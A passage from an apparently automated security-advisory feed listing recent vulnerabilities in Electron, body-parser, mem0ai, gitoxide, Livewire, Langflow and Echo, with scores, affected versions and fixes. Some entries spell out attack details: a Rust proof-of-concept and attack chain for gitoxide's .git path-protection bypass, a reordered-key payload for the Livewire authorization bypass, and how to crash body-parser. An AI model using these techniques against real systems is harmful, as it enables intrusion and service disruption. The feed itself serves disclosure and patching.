NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115570&date=2026-10-25
### Impact

A set of eMudhra intermediate certificates were compromised and are being blocked by browsers and other TLS clients. This Electron update adds the same block to both Chromium networking and Node.js `tls`, `https` and `fetch`. On earlier versions, an attacker holding a certificate issued through these intermediates and able to intercept network traffic could impersonate a TLS server to an app.

Apps are only affected if they make TLS connections over a network an attacker can intercept. Apps that make no network connections are not affected.

Other software has shipped the same mitigation, including Go (CVE-2026-111943) and Firefox (CVE-2026-113470).

### Workarounds

There are no app side workarounds, you must update to a patched version of Electron.

### Fixed Versions

* `45.0.0-beta.6`
* `44.9.1`
* `43.8.1`
* `42.11.16`

### For more information

If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)

Affected package ranges reported by GitHub:
electron: >= 45.0.0-alpha.1, < 45.0.0-beta.6
electron: >= 44.0.0-alpha.1, < 44.9.1
electron: >= 43.0.0-alpha.1, < 43.8.1
electron: < 42.11.16
Action: GitHub lists first patched versions: electron: 45.0.0-beta.6; electron: 44.9.1; electron: 43.8.1; electron: 42.11.16. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### body-parser vulnerable to Denial of Service via trailing bytes after a compressed request body
https://kevwire.com/record/CVE-2026-111181
body-parser vulnerable to Denial of Service via trailing bytes after a compressed request body (Oct 22, 2026).
body-parser is body parsing middleware for Node.js and Express. In versions before 1.20.9 and in versions from 2.0.0 before 2.4.0, a single request can crash any application using body-parser with default options. When a request carries a Content-Encoding such as gzip, body-parser pipes it into a decompression stream and, after reading the body, leaves that stream with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No matching route is required because body parsing runs before routing, so any endpoint that parses a body is affected. The issue is fixed in body-parser 2.4.0 and 1.20.9, and users should upgrade to one of those versions or later. As a workaround, disable request-body inflation (set the body-parser inflate option to false) so encoded requests are rejected before any decompression stream is created.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-27r3-jxmh-p828).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111181&date=2026-10-25).
Sources:
NVD CVE-2026-111181: https://nvd.nist.gov/vuln/detail/CVE-2026-111181
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
GitHub-reviewed advisory GHSA-27r3-jxmh-p828: https://github.com/advisories/GHSA-27r3-jxmh-p828
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111181&date=2026-10-25
body-parser is body parsing middleware for Node.js and Express. In versions before 1.20.9 and in versions from 2.0.0 before 2.4.0, a single request can crash any application using body-parser with default options. When a request carries a Content-Encoding such as gzip, body-parser pipes it into a decompression stream and, after reading the body, leaves that stream with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No matching route is required because body parsing runs before routing, so any endpoint that parses a body is affected. The issue is fixed in body-parser 2.4.0 and 1.20.9, and users should upgrade to one of those versions or later. As a workaround, disable request-body inflation (set the body-parser inflate option to false) so encoded requests are rejected before any decompression stream is created.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### mem0ai Databricks vector store vulnerable to SQL injection
https://kevwire.com/record/CVE-2026-115324
mem0ai Databricks vector store vulnerable to SQL injection (Oct 22, 2026).
mem0 0.1.117 before 1.0.8 contains an sql injection vulnerability in mem0/vector_stores/databricks.py that allows attackers to inject SQL by influencing stored memory content. Attackers can supply crafted memory text, metadata, or message names that reach unescaped insert() and update() string interpolation to execute injected SQL on the configured Databricks SQL warehouse.
CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-7587-9684-52r6).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115324&date=2026-10-25).
Sources:
NVD CVE-2026-115324: https://nvd.nist.gov/vuln/detail/CVE-2026-115324
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
GitHub-reviewed advisory GHSA-7587-9684-52r6: https://github.com/advisories/GHSA-7587-9684-52r6
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115324&date=2026-10-25
mem0 0.1.117 before 1.0.8 contains an sql injection vulnerability in mem0/vector_stores/databricks.py that allows attackers to inject SQL by influencing stored memory content. Attackers can supply crafted memory text, metadata, or message names that reach unescaped insert() and update() string interpolation to execute injected SQL on the configured Databricks SQL warehouse.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### gitoxide gix: untrusted .git/config disables filesystem .git-protection path checks via unfiltered protect_options()
https://kevwire.com/record/GHSA-q54r-jf2p-rfr2
gitoxide gix: untrusted .git/config disables filesystem .git-protection path checks via unfiltered protect_options() (Oct 23, 2026).
In the `gix` crate, `Cache::protect_options()` in `gix/src/config/cache/access.rs` reads the three filesystem path-protection settings (`core.protectHFS`, `core.protectNTFS`, and `gitoxide.core.protectWindows`) with the unfiltered `gix_config::File::boolean()` accessor instead of the trust-aware `boolean_filter()` accessor used by every other security-critical config read in the same file. When a repository is opened with reduced trust (an ownership mismatch, which maps `.git/config` sections to `Trust::Reduced`), these protection settings should not be honored from the untrusted repository-local config. Because the trust filter is skipped, an attacker who controls a repository's `.git/config` on a shared filesystem can set `core.protectNTFS = false` and/or `core.protectHFS = false`, disabling the `.git` path-confusion checks that run during checkout, index creation, merge, and tree editing. On case-insensitive filesystems this lets crafted tree entries resolve to the `.git` directory and overwrite hooks or config.

Repositories opened under `Trust::Reduced` install a section filter (`is_trusted`) so that security-relevant settings coming from an untrusted repository-local `.git/config` are ignored. The `Cache` struct stores this filter and applies it throughout `gix/src/config/cache/access.rs` for diff drivers, merge drivers, URL rewrites, scheme permissions, lock timeout, and checkout workers. `protect_options()` is the exception: it reads the path-protection booleans through `self.resolved.boolean(...)`, which delegates to `boolean_filter(key, |_| true)` and therefore accepts values from every section regardless of trust. As a result, an untrusted repository-local setting of `core.protectHFS`/`core.protectNTFS`/`gitoxide.core.protectWindows` overrides the safe defaults, defeating the trust boundary for exactly the controls that are meant to prevent `.git` path-confusion attacks.
CVSS 7.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-q54r-jf2p-rfr2).
Sources:
GitHub-reviewed advisory GHSA-q54r-jf2p-rfr2: https://github.com/advisories/GHSA-q54r-jf2p-rfr2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Summary

In the `gix` crate, `Cache::protect_options()` in `gix/src/config/cache/access.rs` reads the three filesystem path-protection settings (`core.protectHFS`, `core.protectNTFS`, and `gitoxide.core.protectWindows`) with the unfiltered `gix_config::File::boolean()` accessor instead of the trust-aware `boolean_filter()` accessor used by every other security-critical config read in the same file. When a repository is opened with reduced trust (an ownership mismatch, which maps `.git/config` sections to `Trust::Reduced`), these protection settings should not be honored from the untrusted repository-local config. Because the trust filter is skipped, an attacker who controls a repository's `.git/config` on a shared filesystem can set `core.protectNTFS = false` and/or `core.protectHFS = false`, disabling the `.git` path-confusion checks that run during checkout, index creation, merge, and tree editing. On case-insensitive filesystems this lets crafted tree entries resolve to the `.git` directory and overwrite hooks or config.

## Root Cause

Repositories opened under `Trust::Reduced` install a section filter (`is_trusted`) so that security-relevant settings coming from an untrusted repository-local `.git/config` are ignored. The `Cache` struct stores this filter and applies it throughout `gix/src/config/cache/access.rs` for diff drivers, merge drivers, URL rewrites, scheme permissions, lock timeout, and checkout workers. `protect_options()` is the exception: it reads the path-protection booleans through `self.resolved.boolean(...)`, which delegates to `boolean_filter(key, |_| true)` and therefore accepts values from every section regardless of trust. As a result, an untrusted repository-local setting of `core.protectHFS`/`core.protectNTFS`/`gitoxide.core.protectWindows` overrides the safe defaults, defeating the trust boundary for exactly the controls that are meant to prevent `.git` path-confusion attacks.

```text
gix/src/config/cache/access.rs:300 Cache::protect_options() : vulnerable function
gix/src/config/cache/access.rs:306 self.resolved.boolean(gitoxide.core.protectWindows) (unfiltered)
gix/src/config/cache/access.rs:310 self.resolved.boolean(core.protectHFS) (unfiltered)
gix/src/config/cache/access.rs:314 self.resolved.boolean(core.protectNTFS) (unfiltered)
gix-config/src/file/access/comfort.rs:89 boolean() delegates to boolean_filter(key, |_| true)
gix/src/config/mod.rs:61 is_trusted() : the filter that would reject untrusted repo-local sections
gix-validate/src/path.rs:98 component() : path validation that honors the resulting options
```

## Impact

An attacker who owns a repository on a filesystem shared with the victim (a multi-user development host, a shared or network-mounted checkout, or a CI workspace reused across jobs) edits that repository's `.git/config` to disable one or both of `core.protectHFS` and `core.protectNTFS`. When the victim opens the repository with a `gix`-based tool, the ownership mismatch yields `Trust::Reduced`, which should neutralize these untrusted settings, but `protect_options()` honors them anyway. The attacker also commits tree entries whose names are filesystem-specific encodings of `.git` (for example NTFS short names such as `GIT~1`, NTFS alternate-data-stream or trailing-dot/space variants, or HFS+ forms using ignorable code points). When the victim performs a checkout, index build, merge, or tree edit, path validation no longer rejects these names, so on a case-insensitive filesystem (Windows NTFS, macOS HFS+) they collapse to the real `.git` directory. This permits overwriting repository hooks and configuration, which plausibly leads to arbitrary command execution in the victim's context on the next Git operation that runs a hook. The confidentiality, integrity, and availability impact follows from control over the victim's `.git` directory and any resulting hook execution; hook execution was not freshly executed here and is characterized as the plausible consequence of the demonstrated path-protection bypass.
## Proof of Concept

The following unit test places the config cache in the exact state produced after a submodule or repository is initialized (only `url` copied to the local config) and shows that the attacker's path-protection override from the repository-local config is honored even though it should be filtered under reduced trust. The same `boolean()` vs `boolean_filter()` discrepancy is directly observable in source.

```rust
// Demonstrates that core.protectNTFS from an untrusted repository-local
// section is honored by the unfiltered read in protect_options().
use std::str::FromStr;

// Trusted (system/global) config: protection on by default.
// Untrusted repository-local config (.git/config) disables NTFS protection.
let repo_local = gix_config::File::from_str("[core]\n protectNTFS = false").unwrap();

// Reading core.protectNTFS with the trust-aware filter would reject the
// repository-local section; reading it unfiltered (as protect_options does)
// returns Some(false), disabling the .git-confusion check.
let filtered = repo_local.boolean_filter("core.protectNTFS", |_| false); // trusted-only
let unfiltered = repo_local.boolean("core.protectNTFS"); // what protect_options uses
eprintln!("filtered (trusted only) = {:?}", filtered); // None -> safe default kept
eprintln!("unfiltered (vulnerable) = {:?}", unfiltered); // Some(Ok(false)) -> protection disabled
```

```text
filtered (trusted only) = None
unfiltered (vulnerable) = Some(Ok(false))
```

Source confirmation that `boolean()` performs no trust filtering:

```rust
// gix-config/src/file/access/comfort.rs:89
pub fn boolean(&self, key: impl AsKey) -> Result > {
 self.boolean_filter(key, |_| true)
}
```

## Attack Chain

1. **Exposure:** The attacker owns a repository on a filesystem shared with the victim; the victim opens it with a `gix`-based tool, and the ownership mismatch sets the repository's config sections to `Trust::Reduced` (`gix/src/open/options.rs:215

Affected package ranges reported by GitHub:
gix: >= 0.88.0, <= 0.89.0
Action: GitHub lists first patched versions: gix: 0.90.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Livewire: Authorization bypass in #[Authorize] via reordered parameter keys and #[Json] execution order
https://kevwire.com/record/GHSA-mhf7-xp6r-6qrc
Livewire: Authorization bypass in #[Authorize] via reordered parameter keys and #[Json] execution order (Oct 23, 2026).
Three issues allowed actions protected by the `#[Authorize]` attribute to run against records the current user is not authorized for:

1. **Out-of-order parameter keys on actions.** `#[Authorize]` resolved a model parameter by its array key, while the action itself received parameters positionally. A request sending params as an object with reordered integer keys (e.g. `{"1": 2, "0": 1}`) could pass authorization with a record the user owns while the action received a different record. With `#[Authorize('delete', 'comment')]` on `deleteComment(Comment $comment)`, a user could delete another user's comment.
2. **The same issue on event listeners.** Methods using both `#[On]` and `#[Authorize]` with a model parameter were affected in the same way through the `__dispatch` call.
3. **`#[Json]` methods ran before authorization.** When a method had both `#[Json]` and `#[Authorize]`, the method body executed before the authorization check. The response was still a 403, but any side effects (such as database writes) had already happened.
CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-mhf7-xp6r-6qrc).
Sources:
GitHub-reviewed advisory GHSA-mhf7-xp6r-6qrc: https://github.com/advisories/GHSA-mhf7-xp6r-6qrc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Impact

Three issues allowed actions protected by the `#[Authorize]` attribute to run against records the current user is not authorized for:

1. **Out-of-order parameter keys on actions.** `#[Authorize]` resolved a model parameter by its array key, while the action itself received parameters positionally. A request sending params as an object with reordered integer keys (e.g. `{"1": 2, "0": 1}`) could pass authorization with a record the user owns while the action received a different record. With `#[Authorize('delete', 'comment')]` on `deleteComment(Comment $comment)`, a user could delete another user's comment.
2. **The same issue on event listeners.** Methods using both `#[On]` and `#[Authorize]` with a model parameter were affected in the same way through the `__dispatch` call.
3. **`#[Json]` methods ran before authorization.** When a method had both `#[Json]` and `#[Authorize]`, the method body executed before the authorization check. The response was still a 403, but any side effects (such as database writes) had already happened.

Only applications using the `#[Authorize]` attribute are affected: on methods that take model parameters (issues 1 and 2), or on `#[Json]` methods (issue 3). Authorization performed inside the method (e.g. `$this->authorize(...)`) is not affected. Livewire 3.x is not affected.

### Patches

Fixed in **v4.4.8**. Call and event parameters must now be a list or use named (string) keys, otherwise the request is rejected, and `#[Json]` methods are authorized before they run.

### Workarounds

Upgrade to v4.4.8. If you can't upgrade right away, call `$this->authorize(...)` inside affected methods instead of relying on the `#[Authorize]` attribute.

### Credits

Reported by Yousef Aman ([@yousef-aman](https://github.com/yousef-aman)).

Affected package ranges reported by GitHub:
livewire/livewire: >= 4.3.0, < 4.4.8
Action: GitHub lists first patched versions: livewire/livewire: 4.4.8. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Langflow: Code Injection Vulnerability in Code Validation Endpoint
https://kevwire.com/record/CVE-2026-7873
Langflow: Code Injection Vulnerability in Code Validation Endpoint (Jun 30, 2026).
IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated attackers to execute arbitrary OS commands and read sensitive files including credentials, enabling complete system compromise and lateral movement.
CVSS 9.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-v798-mcc6-2m3m).
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-7873&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-v798-mcc6-2m3m: https://github.com/advisories/GHSA-v798-mcc6-2m3m
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-7873&date=2026-10-25
IBM Langflow OSS 1.0.0 through 1.10.0 allows authenticated attackers to execute arbitrary OS commands and read sensitive files including credentials, enabling complete system compromise and lateral movement.

Affected package ranges reported by GitHub:
langflow: >= 1.0.0, < 1.10.1.rc0
Action: GitHub lists first patched versions: langflow: 1.10.1.rc0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Echo: X-Real-IP extractor trusts the header value instead of the sending peer
https://kevwire.com/record/GHSA-h53f-rm2w-w7rg
Echo: X-Real-IP extractor trusts the header value instead of the sending peer (Oct 23, 2026).
In Echo v5, `ExtractIPFromRealIPHeader` checked whether the address supplied in `X-Real-IP` belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by `c.RealIP()` with the extractor's default trust options.

Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's `X-Real-IP` value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.
CVSS 5.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-h53f-rm2w-w7rg).
Sources:
GitHub-reviewed advisory GHSA-h53f-rm2w-w7rg: https://github.com/advisories/GHSA-h53f-rm2w-w7rg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Impact

In Echo v5, `ExtractIPFromRealIPHeader` checked whether the address supplied in `X-Real-IP` belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by `c.RealIP()` with the extractor's default trust options.

Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's `X-Real-IP` value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.

## Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 are affected. Upgrade to [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1).

The patch validates the direct peer before accepting a syntactically valid `X-Real-IP` value, restoring the v4 trust model. [Fix commit](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec).

## Workarounds

Use `ExtractIPDirect` until upgrading, or ensure that only trusted proxies can reach Echo and that they replace client-supplied forwarding headers. Configure trusted proxy ranges narrowly for the deployment.

## Credits

Reported and patched by @rm-Umar. @Duodum independently reported the same issue in GHSA-c3r7-8j36-7mx8, which is tracked as a duplicate of this advisory.

Affected package ranges reported by GitHub:
github.com/labstack/echo/v5: >= 5.0.0, < 5.4.1
Action: GitHub lists first patched versions: github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Echo: WebSocket proxy can retain connections and handlers after client disconnect
https://kevwire.com/record/GHSA-9969-6676-49h5
Echo: WebSocket proxy can retain connections and handlers after client disconnect (Oct 23, 2026).
Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.

Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-9969-6676-49h5).
Sources:
GitHub-reviewed advisory GHSA-9969-6676-49h5: https://github.com/advisories/GHSA-9969-6676-49h5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Impact

Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.

Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.

## Affected versions and patch

Affected versions are v4.15.0 through v4.16.0 and v5.0.0 through v5.4.0. The regression was introduced by commit e2133320c7, merged in #2852.

Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1) or [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). The patch uses Go's HTTP reverse proxy, preserves ordinary HTTP handling for rejected upgrades, and closes both sides of a WebSocket tunnel when either direction ends. It also covers an upstream that receives client EOF but deliberately keeps its side open.

Fix commits: [v4](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f), [v5](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec).

## Workarounds

Disable WebSocket proxy routes until upgrading, or apply bounded connection lifetimes and resource limits at the frontend and upstream. Server idle timeouts alone may not cover hijacked WebSocket connections.

## Credits

Reported by @irisitymichaelgrundberg.

Affected package ranges reported by GitHub:
github.com/labstack/echo/v4: >= 4.15.0, < 4.16.1
github.com/labstack/echo/v5: >= 5.0.0, < 5.4.1
Action: GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1; github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Echo: Decompress permits unbounded gzip expansion in v4
https://kevwire.com/record/GHSA-h7wr-284f-5qvc
Echo: Decompress permits unbounded gzip expansion in v4 (Oct 23, 2026).
Echo v4's opt-in Decompress middleware exposed a gzip-decoded request stream without limiting its expanded size. A small compressed request could therefore produce a very large decoded body. Handlers that read or bind that body could consume excessive memory or CPU, and repeated or concurrent requests could cause denial of service.

The middleware is not enabled by default. A limit on the compressed request size alone does not bound the decompressed size. Applications that already apply an effective body limit after decompression have reduced exposure.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-h7wr-284f-5qvc).
Sources:
GitHub-reviewed advisory GHSA-h7wr-284f-5qvc: https://github.com/advisories/GHSA-h7wr-284f-5qvc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Impact

Echo v4's opt-in Decompress middleware exposed a gzip-decoded request stream without limiting its expanded size. A small compressed request could therefore produce a very large decoded body. Handlers that read or bind that body could consume excessive memory or CPU, and repeated or concurrent requests could cause denial of service.

The middleware is not enabled by default. A limit on the compressed request size alone does not bound the decompressed size. Applications that already apply an effective body limit after decompression have reduced exposure.

## Affected versions and patch

Echo v4 versions through v4.16.0 are affected. Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1).

The patch adds `DecompressConfig.MaxDecompressedSize`, defaulting to 100 MiB when zero. A value of `-1` explicitly disables the limit. Reading beyond the cap returns `ErrStatusRequestEntityTooLarge` (HTTP 413), including through JSON and XML binding. Bodies exactly at the configured limit remain valid. Streaming enforcement requires callers to handle body-read errors.

[Fix commit](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f).

## Workarounds

Disable gzip request decompression on exposed routes, or place BodyLimit after Decompress so the application limit applies to decoded bytes. Apply suitable request deadlines and concurrency limits as well.

## Credits

Reported by @q490107865. The exact-limit behavior incorporates @Shubham-Padkonde's work in [#3136](https://github.com/labstack/echo/pull/3136).

Affected package ranges reported by GitHub:
github.com/labstack/echo/v4: >= 4.0.0, < 4.16.1
Action: GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Echo: Rejected WebSocket upgrades can bypass Echo route-level access controls
https://kevwire.com/record/GHSA-cxf3-9h37-7rr8
Echo: Rejected WebSocket upgrades can bypass Echo route-level access controls (Oct 23, 2026).
Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.

This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.
CVSS 9.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-cxf3-9h37-7rr8).
Sources:
GitHub-reviewed advisory GHSA-cxf3-9h37-7rr8: https://github.com/advisories/GHSA-cxf3-9h37-7rr8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Impact

Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.

This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.

## Affected versions and patch

The raw proxy implementation is present throughout the v4 and v5 release lines up to v4.16.0 and v5.4.0. Runtime reproductions confirmed v4.15.0, v4.16.0, v5.0.0 and v5.4.0; source history also shows the missing upgrade-response validation in v4.0.0.

Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1) or [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). The patch routes WebSocket upgrades through Go's HTTP reverse proxy and enters a tunnel only after a valid upstream upgrade response. Rejected upgrades remain ordinary HTTP requests.

Fix commits: [v4](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f), [v5](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec).

## Workarounds

Reject WebSocket upgrade requests before they reach affected Echo proxy routes, or enforce authorization independently at every upstream resource. Merely returning a non-101 response from the upstream does not prevent the vulnerable raw tunnel.

## Credits

Reported by @Duodum.

Affected package ranges reported by GitHub:
github.com/labstack/echo/v4: >= 4.0.0, < 4.16.1
github.com/labstack/echo/v5: >= 5.0.0, < 5.4.1
Action: GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1; github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Echo: BodyDump can discard BodyLimit overflow errors for unknown-length requests
https://kevwire.com/record/GHSA-x9ff-22gv-65f4
Echo: BodyDump can discard BodyLimit overflow errors for unknown-length requests (Oct 23, 2026).
Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.

The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.
CVSS 6.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-x9ff-22gv-65f4).
Sources:
GitHub-reviewed advisory GHSA-x9ff-22gv-65f4: https://github.com/advisories/GHSA-x9ff-22gv-65f4
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
## Impact

Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.

The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.

## Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 contain the affected drain-and-replace logic. Runtime reproduction confirmed v5.4.0; source comparison confirms the same request handling in v5.0.0.

Upgrade to [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). BodyDump now captures only the configured prefix for logging and reconstructs the handler's reader from that prefix plus the unread original stream. It preserves the original closer and read errors instead of silently draining the rest. [Fix commit](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec).

Streaming BodyLimit enforcement still requires the application to consume the request body and handle read errors. The BodyDump capture cap is a logging cap, not an application body limit.

## Workarounds

Disable BodyDump on affected routes, or ensure the BodyLimit overflow is detected during the initial capture by setting the capture limit above the enforced body limit. Upgrading is recommended because it also preserves the complete body for handlers.

## Credits

Reported by @Duodum. The fix incorporates @jakezwang's request-body preservation work in [#3105](https://github.com/labstack/echo/pull/3105).

Affected package ranges reported by GitHub:
github.com/labstack/echo/v5: >= 5.0.0, < 5.4.1
Action: GitHub lists first patched versions: github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Echo: BodyDump captures request and response bodies without size limits in v4
https://kevwire.com/record/GHSA-f48p-c9v4-h7xv
Echo: BodyDump captures request and response bodies without size limits in v4 (Oct 23, 2026).
Echo v4's opt-in BodyDump middleware read complete request bodies into memory and retained complete response bodies without a capture limit. A client able to submit large requests to a route using BodyDump could cause large allocations before the application handler ran. Large responses, including responses whose size can be influenced by a client, also caused an additional unbounded capture allocation.

Repeated or concurrent requests can exhaust process memory and cause denial of service. BodyDump is not enabled by default. Deployments with effective request limits may reduce the request-side exposure; response capture requires separate consideration.
